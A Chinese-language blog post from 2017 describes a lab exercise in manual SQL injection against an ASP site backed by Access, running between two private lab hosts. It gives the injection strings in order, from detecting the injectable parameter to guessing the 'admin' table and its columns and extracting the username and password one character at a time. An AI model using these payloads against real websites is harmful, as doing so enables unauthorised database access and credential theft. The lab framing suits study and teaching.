SQL注入原理-手工注入access数据库

一、Target:

SQL注入原理、学习手工注入过程 

二、实验原理:

通过把SQL命令插入到web表单提交或输入域名或页面请求的的查询字符串,最终达到欺骗服务器执行恶意的SQL命令 

1、在结尾的链接中依次添加【’】和【and 1=1】和【and 1=2】判断网站是否存在注入点 

2、添加语句【and exists(select*from admin)】根据页面返回结果来猜解表名 

3、添加【and exists(select admin from admin)】猜解admin表中的列名admin 

4、添加语句【and (select top 1 len (admin)from admin)>=1】猜解字段长度 

5、添加【and (select top 1 asc(mid(admin,1,1))from admin)>=97】猜解字段中字符的ASCII码  通过上述的步骤,反复猜解,即可得到数据库存储的用户名和密码 

三、实验环境:

本机:192.168.1.2  目标机:192.168.1.3 

四、实验步骤:

找到有注入漏洞目标网站: 

**1、目标站点:http://192.168.1.3:8008 

随便选择一个链接:http://192.168.1.3:8008/onews.asp?id=45**

2、测试链接,在末尾添加【’】

3、在末尾添加【and 1 =1】

4、在末尾添加【and 1 =2】,返回页面发现该网站存在注入漏洞

 

猜解表名

在链接末尾添加语句【and exists(select*from admin)】,页面正常显示,说明存在表名【admin】

 猜解列名

1、在链接末尾添加语句【and exists(select admin from admin)】,页面显示正常,说明表中存在admin列

 

2、在链接末尾添加语句【and exists(select password from admin)】,页面显示正常,说明表中存在列password

猜解字段内容

1、在链接末尾,输入【and (select top 1 len (admin)from admin>=1】页面显示正常,数字依次加1,进行测试,例如:【and (select top 1 len (admin)from admin>=5】说明字段长度为5

2、在链接末尾,输入【and (select top 1 asc(mid(admin,1,1))from admin)>=97】,可猜解第一条记录的第一个字符的ASCILL码为97,对应为a.3、同样的方法得到admin的字段内容【admin】,password的字段内容【bfpms】

posted @ 2017-11-15 23:57  七月哈比  阅读(330)  评论(0编辑  收藏  举报
站长QQ:1340895414